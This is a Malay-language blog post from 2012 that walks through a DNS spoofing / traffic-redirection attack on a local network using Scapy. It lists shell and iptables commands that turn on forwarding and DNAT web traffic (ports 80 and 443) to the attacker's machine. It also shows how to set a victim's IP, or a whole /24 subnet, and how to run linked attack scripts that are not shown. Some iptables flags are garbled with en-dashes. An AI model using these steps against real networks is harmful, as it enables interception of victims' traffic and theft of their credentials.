DNS Spoofing With Scapy

Assalamuilaikum semua hurmm biasa la masih boring :P sedang jalan-jalan kat Google tiba-tiba Ryu masuk kat pejabat Wikipedia jadi terjumpa la satu artikel pasal DNS Spoofing Attack jadi terpikir pulak mahu share sedikit pasal DNS Spoofing Attack. Ok first entri ini hanya pembelajaran Ryu@justryuz.blogspot.com & Ahli CyberSEC tidak bertanggungjawab keatas pencerobohan yang mengunakan nama CyberSEC Crew.

Ok tentang Spoofing Attack korang boleh view sini http://en.wikipedia.org/wiki/Spoofing_attack

*Tutorial ini adalah untuk penguna Linux SAHAJA (UBUNTU)

Perkakasan yang diperlukan adalah :

~ Python Scapy ( Boleh search kat Google)

Pertama sekali kita lakukan IP forwading

echo 1 > /proc/sys/net/ipv4/ip_forward

kemudian non aktivkan ICMP redirect

echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects

then IP tables setting:

iptables –flush

iptables –zero

iptables –delete-chain

iptables -F -t nat

iptables –append FORWARD –in-interface wlan0/eth0 –jump ACCEPT

iptables –table nat –append POSTROUTING –out-interface wlan0/eth0 –jump MASQUERADE

iptables -t nat -A PREROUTING -p tcp –dport 80 –jump DNAT –to-destination 10.42.43.1

iptables -t nat -A PREROUTING -p tcp –dport 443 –jump DNAT –to-destination 10.42.43.1

ini bash script boleh view disini ~ http://tinypaste.com/2c39736a

*thanks for yur4kh4 Malang Cyber Crew for script.

 Selepas itu save bash script tadi dot[.]sh ( ikut suka la janji .sh)

 then ini pula script python kita boleh view disini http://tinypaste.com/46491766 

*save as ihir.py

 

Apa yang diperlu korang lakukan adalah menyesuaikan configuration data :)

INTERFACE=”wlan0″ #lihat interface dengan menaip ifconfig pada terminal

SERVERWEB=’10.42.43.23′ #ip enter

network card yang ada connection dengan internet serta ip local korang dan

target=”10.42.43.19″;#target ip mangsa

router=”10.42.43.1″;#router mangsa

kalau korang nak semua permintaan packet client berpindah ke web server korang just..

target=”10.42.43.19/24″;#target ip mangsa

dengan begitu semua local IP client akan dipindahkan ke IP local korang

ok sekarang part untuk Execute script yang kita save tadi ~

ryu@justryuz:/home/ryu# ./.sh
ryu@justryuz:/home/ryu# python ihir.py

dan just tunggu beberapa saat

then semua request packet akan dialihkan ke IP korang…

 

gudluck :D

Thank for yur4kh4

./Ryuzaki Lawlet

Tweet

Postingan terkait:

Ditulis Ryuzaki — Tuesday, January 17, 2012 — 1 Comment — iNFO, sekuriti